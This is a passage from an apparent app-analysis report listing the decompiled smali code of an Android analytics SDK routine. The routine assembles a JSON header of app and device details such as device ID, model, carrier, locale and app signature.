                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.os.Build.MODEL:Ljava/lang/String
                              • org.json.JSONObject.put
                              • android.os.Build.BOARD:Ljava/lang/String
                              • org.json.JSONObject.put
                              • android.os.Build.BRAND:Ljava/lang/String
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.os.Build.MANUFACTURER:Ljava/lang/String
                              • org.json.JSONObject.put
                              • android.os.Build.ID:Ljava/lang/String
                              • org.json.JSONObject.put
                              • android.os.Build.DEVICE:Ljava/lang/String
                              • org.json.JSONObject.put
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.put
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.put
                              • java.lang.String.equals
                              • org.json.JSONObject.put
                              • java.lang.String.equals
                              • org.json.JSONObject.put
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.content.SharedPreferences.getInt
                              • org.json.JSONObject.put
                              • android.content.SharedPreferences.getInt
                              • org.json.JSONObject.put
                              • android.content.SharedPreferences.getInt
                              • org.json.JSONObject.put
                              • android.util.Base64.encodeToString
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.put
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.put
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.put
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.put
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.put
                              • org.json.JSONObject.getString
                              • org.json.JSONObject.put
                              • org.json.JSONObject.length
                              • java.lang.String.valueOf
                              • android.content.SharedPreferences.edit
                              • android.content.SharedPreferences$Editor.remove
                              • android.content.SharedPreferences$Editor.remove
                              • android.content.SharedPreferences$Editor.remove
                              • android.content.SharedPreferences$Editor.remove
                              • android.content.SharedPreferences$Editor.commit
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.remove
                              • org.json.JSONObject.put
                              • java.lang.Integer.parseInt
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • java.lang.Integer.parseInt
                              • org.json.JSONObject.put
                              • java.lang.String.equals
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              Strings
                              • Appkey is missing ,Please check AndroidManifest.xml
                              • body
                              • userlevel
                              • ts
                              • activate_msg
                              • ag
                              • ve_meta
                              • cc
                              • provider
                              • puid
                              • active_user
                              • interval
                              • latency
                              • latent
                              • control_policy
                              • appkey
                              • channel
                              • secret
                              • display_name
                              • package_name
                              • app_signature
                              • vers_name
                              • app_version
                              • version_code
                              • vers_code
                              • wrapper_type
                              • wrapper_version
                              • sdk_type
                              • Android
                              • sdk_version
                              • vertical_type
                              • idmd5
                              • cpu
                              • os
                              • os_version
                              • resolution
                              • *
                              • mc
                              • device_id
                              • device_model
                              • device_board
                              • device_brand
                              • device_manutime
                              • device_manufacturer
                              • device_manuid
                              • device_name
                              • sub_os_name
                              • sub_os_version
                              • Wi-Fi
                              • access
                              • wifi
                              • access_subtype
                              • mccmnc
                              • country
                              • language
                              • timezone
                              • carrier
                              • successful_requests
                              • successful_request
                              • failed_requests
                              • req_time
                              • last_request_spent_ms
                              • imprint
                              • header
                              • version
                              • vers_date
                              • vers_pre_version
                              • 2G/3G
                              • unknow
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2try_start_1:
                              3sget-object v0, Lb/a/q;->j:Landroid/content/Context;
                              5invoke-static {v0}, Lcom/a/a/a;->a(Landroid/content/Context;)Ljava/lang/String;
                              6move-result-object v0
                              8invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              9move-result v0
                              10if-eqz v0, :cond_14
                              12const-string v0, "Appkey is missing ,Please check AndroidManifest.xml"
                              14invoke-static {v0}, Lb/a/aw;->c(Ljava/lang/String;)V
                              15move-object v0, v1
                              16cond_13: return-object v0
                              17cond_14:
                              18sget-object v0, Lb/a/q;->j:Landroid/content/Context;
                              20invoke-virtual {p0, v0}, Lb/a/q;->a(Landroid/content/Context;)V
                              22sget-object v0, Lb/a/q;->j:Landroid/content/Context;
                              24invoke-static {v0}, Lb/a/cx;->a(Landroid/content/Context;)Lb/a/cx;
                              25move-result-object v0
                              27invoke-virtual {v0}, Lb/a/cx;->a()Lorg/json/JSONObject;
                              28move-result-object v0
                              29if-nez v0, :cond_2a
                              30new-instance v0, Lorg/json/JSONObject;
                              32invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                              33try_end_2a:
                              34const-string v2, "body"
                              36invoke-virtual {v0, v2}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              37try_end_2f: move-result-object v2
                              38move-object v3, v2
                              39try_start_31: new-instance v4, Lorg/json/JSONObject;
                              41invoke-virtual {v3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              42move-result-object v2
                              44invoke-direct {v4, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                              46sget-object v2, Lb/a/q;->j:Landroid/content/Context;
                              48invoke-static {v2}, Lb/a/aa;->a(Landroid/content/Context;)Landroid/content/SharedPreferences;
                              49move-result-object v2
                              50if-eqz v2, :cond_55
                              52const-string v5, "userlevel"
                              54const-string v6, ""
                              56invoke-interface {v2, v5, v6}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              57move-result-object v5
                              59invoke-static {v5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              60move-result v6
                              61if-nez v6, :cond_55
                              63const-string v6, "userlevel"
                              65invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              66cond_55:
                              67iget-object v5, p0, Lb/a/q;->c:Lb/a/ae;
                              69invoke-virtual {v5}, Lb/a/ae;->e()Z
                              70move-result v5
                              71if-eqz v5, :cond_7b
                              72iget-wide v6, p0, Lb/a/q;->i:J
                              73const-wide/16 v8, 0x0
                              74cmp-long v5, v6, v8
                              75if-eqz v5, :cond_7b
                              76new-instance v5, Lorg/json/JSONObject;
                              78invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                              80const-string v6, "ts"
                              81iget-wide v8, p0, Lb/a/q;->i:J
                              83invoke-virtual {v5, v6, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                              85const-string v6, "activate_msg"
                              87invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              89const-string v6, "activate_msg"
                              91invoke-virtual {v4, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              92cond_7b: new-instance v5, Lorg/json/JSONObject;
                              94invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                              96sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              98invoke-static {v6}, Lb/a/co;->a(Landroid/content/Context;)Lb/a/co;
                              99move-result-object v6
                              101invoke-virtual {v6}, Lb/a/co;->a()Lorg/json/JSONObject;
                              102move-result-object v6
                              103if-eqz v6, :cond_97
                              105invoke-virtual {v6}, Lorg/json/JSONObject;->length()I
                              106move-result v7
                              107if-lez v7, :cond_97
                              109const-string v7, "ag"
                              111invoke-virtual {v5, v7, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              112cond_97:
                              113sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              115invoke-static {v6}, Lb/a/co;->a(Landroid/content/Context;)Lb/a/co;
                              116move-result-object v6
                              118invoke-virtual {v6}, Lb/a/co;->b()Lorg/json/JSONObject;
                              119move-result-object v6
                              120if-eqz v6, :cond_ae
                              122invoke-virtual {v6}, Lorg/json/JSONObject;->length()I
                              123move-result v7
                              124if-lez v7, :cond_ae
                              126const-string v7, "ve_meta"
                              128invoke-virtual {v5, v7, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              129cond_ae:
                              130invoke-virtual {v5}, Lorg/json/JSONObject;->length()I
                              131move-result v6
                              132if-lez v6, :cond_be
                              134const-string v6, "cc"
                              136invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              138const-string v6, "cc"
                              140invoke-virtual {v4, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              141cond_be:
                              142sget-object v5, Lb/a/q;->j:Landroid/content/Context;
                              144invoke-static {v5}, Lcom/a/a/e;->a(Landroid/content/Context;)[Ljava/lang/String;
                              145move-result-object v5
                              146if-eqz v5, :cond_fd
                              147const/4 v6, 0x0
                              148aget-object v6, v5, v6
                              150invoke-static {v6}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              151move-result v6
                              152if-nez v6, :cond_fd
                              153const/4 v6, 0x1
                              154aget-object v6, v5, v6
                              156invoke-static {v6}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              157move-result v6
                              158if-nez v6, :cond_fd
                              159new-instance v6, Lorg/json/JSONObject;
                              161invoke-direct {v6}, Lorg/json/JSONObject;-><init>()V
                              163const-string v7, "provider"
                              164const/4 v8, 0x0
                              165aget-object v8, v5, v8
                              167invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              169const-string v7, "puid"
                              170const/4 v8, 0x1
                              171aget-object v5, v5, v8
                              173invoke-virtual {v6, v7, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              175invoke-virtual {v6}, Lorg/json/JSONObject;->length()I
                              176move-result v5
                              177if-lez v5, :cond_fd
                              179const-string v5, "active_user"
                              181invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              183const-string v5, "active_user"
                              185invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              186cond_fd:
                              187sget-object v5, Lb/a/q;->j:Landroid/content/Context;
                              189invoke-static {v5}, Lb/a/ag;->a(Landroid/content/Context;)Lb/a/ag;
                              190move-result-object v5
                              192invoke-virtual {v5}, Lb/a/ag;->a()Z
                              193move-result v5
                              194if-eqz v5, :cond_10c
                              196invoke-direct {p0, v3}, Lb/a/q;->d(Lorg/json/JSONObject;)V
                              197cond_10c:
                              198iget-object v5, p0, Lb/a/q;->d:Lb/a/ah;
                              200sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              202invoke-virtual {v5, v3, v6}, Lb/a/ah;->a(Lorg/json/JSONObject;Landroid/content/Context;)V
                              203if-eqz p1, :cond_13f
                              204array-length v5, p1
                              205const/4 v6, 0x2
                              206if-ne v5, v6, :cond_13f
                              207new-instance v5, Lorg/json/JSONObject;
                              209invoke-direct {v5}, Lorg/json/JSONObject;-><init>()V
                              210new-instance v6, Lorg/json/JSONObject;
                              212invoke-direct {v6}, Lorg/json/JSONObject;-><init>()V
                              214const-string v7, "interval"
                              215const/4 v8, 0x0
                              216aget v8, p1, v8
                              217div-int/lit16 v8, v8, 0x3e8
                              219invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              221const-string v7, "latency"
                              222const/4 v8, 0x1
                              223aget v8, p1, v8
                              225invoke-virtual {v6, v7, v8}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              227const-string v7, "latent"
                              229invoke-virtual {v5, v7, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              231const-string v6, "control_policy"
                              233invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              234cond_13f:
                              235invoke-virtual {v3}, Lorg/json/JSONObject;->length()I
                              236move-result v5
                              237if-lez v5, :cond_3e6
                              239const-string v5, "body"
                              241invoke-virtual {v0, v5, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              242goto_14a: new-instance v3, Lorg/json/JSONObject;
                              244invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
                              246const-string v5, "appkey"
                              248sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              250invoke-static {v6}, Lcom/a/a/a;->a(Landroid/content/Context;)Ljava/lang/String;
                              251move-result-object v6
                              253invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              255const-string v5, "channel"
                              257sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              259invoke-static {v6}, Lcom/a/a/a;->b(Landroid/content/Context;)Ljava/lang/String;
                              260move-result-object v6
                              262invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              264sget-object v5, Lb/a/q;->j:Landroid/content/Context;
                              266invoke-static {v5}, Lcom/a/a/a;->c(Landroid/content/Context;)Ljava/lang/String;
                              267move-result-object v5
                              269invoke-static {v5}, Lb/a/au;->a(Ljava/lang/String;)Ljava/lang/String;
                              270move-result-object v5
                              272invoke-static {v5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              273move-result v6
                              274if-nez v6, :cond_17a
                              276const-string v6, "secret"
                              278invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              279cond_17a:
                              280const-string v5, "display_name"
                              282sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              284invoke-static {v6}, Lb/a/at;->t(Landroid/content/Context;)Ljava/lang/String;
                              285move-result-object v6
                              287invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              289const-string v5, "package_name"
                              291sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              293invoke-static {v6}, Lb/a/at;->q(Landroid/content/Context;)Ljava/lang/String;
                              294move-result-object v6
                              296invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              298const-string v5, "app_signature"
                              300sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              302invoke-static {v6}, Lb/a/at;->r(Landroid/content/Context;)Ljava/lang/String;
                              303move-result-object v6
                              305invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              306try_end_19b: if-nez v2, :cond_1a3
                              307try_start_19d:
                              308sget-object v5, Lb/a/q;->j:Landroid/content/Context;
                              310invoke-static {v5}, Lb/a/aa;->a(Landroid/content/Context;)Landroid/content/SharedPreferences;
                              311move-result-object v2
                              312cond_1a3: if-eqz v2, :cond_1c4
                              314const-string v5, "vers_name"
                              316const-string v6, ""
                              318invoke-interface {v2, v5, v6}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              319move-result-object v5
                              321invoke-static {v5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              322move-result v6
                              323if-nez v6, :cond_3f0
                              325const-string v6, "app_version"
                              327invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              329const-string v5, "version_code"
                              331const-string v6, "vers_code"
                              332const/4 v7, 0x0
                              334invoke-interface {v2, v6, v7}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                              335move-result v6
                              337invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              338goto_1c4:
                              339sget-object v5, Lcom/a/a/a;->a:Ljava/lang/String;
                              340if-eqz v5, :cond_1da
                              342sget-object v5, Lcom/a/a/a;->b:Ljava/lang/String;
                              343if-eqz v5, :cond_1da
                              345const-string v5, "wrapper_type"
                              347sget-object v6, Lcom/a/a/a;->a:Ljava/lang/String;
                              349invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              351const-string v5, "wrapper_version"
                              353sget-object v6, Lcom/a/a/a;->b:Ljava/lang/String;
                              355invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              356cond_1da:
                              357const-string v5, "sdk_type"
                              359const-string v6, "Android"
                              361invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              363const-string v5, "sdk_version"
                              365sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              367invoke-static {v6}, Lcom/a/a/a;->e(Landroid/content/Context;)Ljava/lang/String;
                              368move-result-object v6
                              370invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              372const-string v5, "vertical_type"
                              374sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              376invoke-static {v6}, Lcom/a/a/a;->d(Landroid/content/Context;)I
                              377move-result v6
                              379invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              381const-string v5, "idmd5"
                              383sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              385invoke-static {v6}, Lb/a/at;->d(Landroid/content/Context;)Ljava/lang/String;
                              386move-result-object v6
                              388invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              390const-string v5, "cpu"
                              392invoke-static {}, Lb/a/at;->a()Ljava/lang/String;
                              393move-result-object v6
                              395invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              397const-string v5, "os"
                              399const-string v6, "Android"
                              401invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              403const-string v5, "os_version"
                              405sget-object v6, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                              407invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              409sget-object v5, Lb/a/q;->j:Landroid/content/Context;
                              411invoke-static {v5}, Lb/a/at;->o(Landroid/content/Context;)[I
                              412move-result-object v5
                              413if-eqz v5, :cond_243
                              415const-string v6, "resolution"
                              416new-instance v7, Ljava/lang/StringBuilder;
                              418invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                              419const/4 v8, 0x1
                              420aget v8, v5, v8
                              422invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              423move-result-object v7
                              425const-string v8, "*"
                              427invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              428move-result-object v7
                              429const/4 v8, 0x0
                              430aget v5, v5, v8
                              432invoke-virtual {v7, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              433move-result-object v5
                              435invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              436move-result-object v5
                              438invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              439cond_243:
                              440const-string v5, "mc"
                              442sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              444invoke-static {v6}, Lb/a/at;->n(Landroid/content/Context;)Ljava/lang/String;
                              445move-result-object v6
                              447invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              449const-string v5, "device_id"
                              451sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              453invoke-static {v6}, Lb/a/at;->c(Landroid/content/Context;)Ljava/lang/String;
                              454move-result-object v6
                              456invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              458const-string v5, "device_model"
                              460sget-object v6, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              462invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              464const-string v5, "device_board"
                              466sget-object v6, Landroid/os/Build;->BOARD:Ljava/lang/String;
                              468invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              470const-string v5, "device_brand"
                              472sget-object v6, Landroid/os/Build;->BRAND:Ljava/lang/String;
                              474invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              476const-string v5, "device_manutime"
                              477sget-wide v6, Landroid/os/Build;->TIME:J
                              479invoke-virtual {v3, v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;
                              481const-string v5, "device_manufacturer"
                              483sget-object v6, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                              485invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              487const-string v5, "device_manuid"
                              489sget-object v6, Landroid/os/Build;->ID:Ljava/lang/String;
                              491invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              493const-string v5, "device_name"
                              495sget-object v6, Landroid/os/Build;->DEVICE:Ljava/lang/String;
                              497invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              499sget-object v5, Lb/a/q;->j:Landroid/content/Context;
                              501invoke-static {v5}, Lb/a/at;->u(Landroid/content/Context;)Ljava/lang/String;
                              502move-result-object v5
                              504invoke-static {v5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              505move-result v6
                              506if-nez v6, :cond_29b
                              508const-string v6, "sub_os_name"
                              510invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              511cond_29b:
                              512sget-object v5, Lb/a/q;->j:Landroid/content/Context;
                              514invoke-static {v5}, Lb/a/at;->v(Landroid/content/Context;)Ljava/lang/String;
                              515move-result-object v5
                              517invoke-static {v5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              518move-result v6
                              519if-nez v6, :cond_2ac
                              521const-string v6, "sub_os_version"
                              523invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              524cond_2ac:
                              525sget-object v5, Lb/a/q;->j:Landroid/content/Context;
                              527invoke-static {v5}, Lb/a/at;->h(Landroid/content/Context;)[Ljava/lang/String;
                              528move-result-object v5
                              530const-string v6, "Wi-Fi"
                              531const/4 v7, 0x0
                              532aget-object v7, v5, v7
                              534invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              535move-result v6
                              536if-eqz v6, :cond_436
                              538const-string v6, "access"
                              540const-string v7, "wifi"
                              542invoke-virtual {v3, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              543goto_2c4:
                              544const-string v6, ""
                              545const/4 v7, 0x1
                              546aget-object v7, v5, v7
                              548invoke-virtual {v6, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              549move-result v6
                              550if-nez v6, :cond_2d7
                              552const-string v6, "access_subtype"
                              553const/4 v7, 0x1
                              554aget-object v5, v5, v7
                              556invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              557cond_2d7:
                              558sget-object v5, Lb/a/q;->j:Landroid/content/Context;
                              560invoke-static {v5}, Lb/a/at;->e(Landroid/content/Context;)Ljava/lang/String;
                              561move-result-object v5
                              563invoke-static {v5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              564move-result v6
                              565if-nez v6, :cond_453
                              567const-string v6, "mccmnc"
                              569invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              570goto_2e8:
                              571sget-object v5, Lb/a/q;->j:Landroid/content/Context;
                              573invoke-static {v5}, Lb/a/at;->l(Landroid/content/Context;)[Ljava/lang/String;
                              574move-result-object v5
                              576const-string v6, "country"
                              577const/4 v7, 0x0
                              578aget-object v7, v5, v7
                              580invoke-virtual {v3, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              582const-string v6, "language"
                              583const/4 v7, 0x1
                              584aget-object v5, v5, v7
                              586invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              588const-string v5, "timezone"
                              590sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              592invoke-static {v6}, Lb/a/at;->k(Landroid/content/Context;)I
                              593move-result v6
                              595invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              597const-string v5, "carrier"
                              599sget-object v6, Lb/a/q;->j:Landroid/content/Context;
                              601invoke-static {v6}, Lb/a/at;->g(Landroid/content/Context;)Ljava/lang/String;
                              602move-result-object v6
                              604invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              605try_end_314:
                              606const-string v5, "successful_requests"
                              608const-string v6, "successful_request"
                              609const/4 v7, 0x0
                              611invoke-interface {v2, v6, v7}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                              612move-result v6
                              614invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              616const-string v5, "failed_requests"
                              618const-string v6, "failed_requests"
                              619const/4 v7, 0x0
                              621invoke-interface {v2, v6, v7}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                              622move-result v6
                              624invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              626const-string v5, "req_time"
                              628const-string v6, "last_request_spent_ms"
                              629const/4 v7, 0x0
                              631invoke-interface {v2, v6, v7}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                              632move-result v6
                              634invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              635goto_338:
                              636sget-object v5, Lb/a/q;->j:Landroid/content/Context;
                              638invoke-static {v5}, Lb/a/g;->a(Landroid/content/Context;)Lb/a/g;
                              639move-result-object v5
                              641invoke-virtual {v5}, Lb/a/g;->a()Lb/a/am;
                              642move-result-object v5
                              643if-eqz v5, :cond_357
                              644new-instance v6, Lb/a/bi;
                              646invoke-direct {v6}, Lb/a/bi;-><init>()V
                              648invoke-virtual {v6, v5}, Lb/a/bi;->a(Lb/a/be;)[B
                              649move-result-object v5
                              651const-string v6, "imprint"
                              652const/4 v7, 0x0
                              654invoke-static {v5, v7}, Landroid/util/Base64;->encodeToString([BI)Ljava/lang/String;
                              655move-result-object v5
                              657invoke-virtual {v3, v6, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              658try_start_357:
                              659const-string v5, "header"
                              661invoke-virtual {v0, v5, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              663const-string v5, "sdk_version"
                              665const-string v6, "sdk_version"
                              667invoke-virtual {v3, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              668move-result-object v6
                              670invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              671move-result-object v5
                              673const-string v6, "device_id"
                              675const-string v7, "device_id"
                              677invoke-virtual {v3, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              678move-result-object v7
                              680invoke-virtual {v5, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              681move-result-object v5
                              683const-string v6, "device_model"
                              685const-string v7, "device_model"
                              687invoke-virtual {v3, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                              688move-result-object v7
